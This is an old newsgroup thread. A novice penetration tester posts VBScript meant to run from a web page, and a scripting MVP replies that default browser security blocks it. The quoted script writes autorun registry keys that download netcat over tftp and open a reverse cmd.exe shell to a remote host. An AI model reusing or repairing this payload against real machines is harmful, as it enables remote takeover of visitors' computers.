vbscript script in web page problem

Hi EveryOne !

I am a begginer pentration tester in a secirity company.

I wnat to demonstrate for a client the power of Vbscript and how it can
be harmful so I tried to write a script in a test web page in his
company ,this is what I wrote:

<script Language="VBScript">
set wshShell=CreateObject("WScript.shell")
wshShell.Regwrite
"HKLM\Software\Microsoft\Windows\CurrenrVersion\RunOnce\instnc","at
11:00 cmd /c tftp -i 192.168.1.2 get nc.exe "
wshShell.Regwrite
"HKLM\software\Microsoft\windows\CurrenrVersion\Run\Nav","at 11:05 cmd
/c nc.exe 192.168.1.2 1111 -e cmd.exe"
</script>

this script should download nc.exe (netcat) from tftp and then after 5
minutes shoud send a cmd.exe shell to another machine on destination
port 1111 but this script doesnt work! I promise Ill show him this in
the next week and dont know what is going wrong here.
after the user entered to this web page i open his registery and the
first command wosnt there.the local user belongs to the administrator
group.

Please help !

J

Michael
Wed Feb 22 19:01:27 CST 2006

juanbabi@gmail.com wrote:
> Hi EveryOne !
>
> I am a begginer pentration tester in a secirity company.
>
> I wnat to demonstrate for a client the power of Vbscript and how it
> can be harmful so I tried to write a script in a test web page in his
> company ,this is what I wrote:
>


What you've done is demonstrate exactly the opposite ;-)...

Default browser security won't let VBScript (or jscript or ...) do harmful
things unless the user unwisely removes the security protections that the
browser puts in place.

Time to do a little research before you do any demonstration.

"Initialize and script ActiveX controls not marked as safe"
site:microsoft.com - Google Search
http://www.google.com/search?q="Initialize%20and%20script%20ActiveX%20controls%20not%20marked%20as%20safe"%20site:microsoft.com&num=100&scoring=d


> <script Language="VBScript">
> set wshShell=CreateObject("WScript.shell")
> wshShell.Regwrite
> "HKLM\Software\Microsoft\Windows\CurrenrVersion\RunOnce\instnc","at
> 11:00 cmd /c tftp -i 192.168.1.2 get nc.exe "
> wshShell.Regwrite
> "HKLM\software\Microsoft\windows\CurrenrVersion\Run\Nav","at 11:05 cmd
> /c nc.exe 192.168.1.2 1111 -e cmd.exe"
> </script>
>
> this script should download nc.exe (netcat) from tftp and then after
> 5 minutes shoud send a cmd.exe shell to another machine on destination
> port 1111 but this script doesnt work! I promise Ill show him this in
> the next week and dont know what is going wrong here.
> after the user entered to this web page i open his registery and the
> first command wosnt there.the local user belongs to the administrator
> group.
>
> Please help !
>
> J

--
Michael Harris
Microsoft MVP Scripting

Scripting: Your First Steps
http://www.microsoft.com/technet/scriptcenter/topics/beginner/firststeps.mspx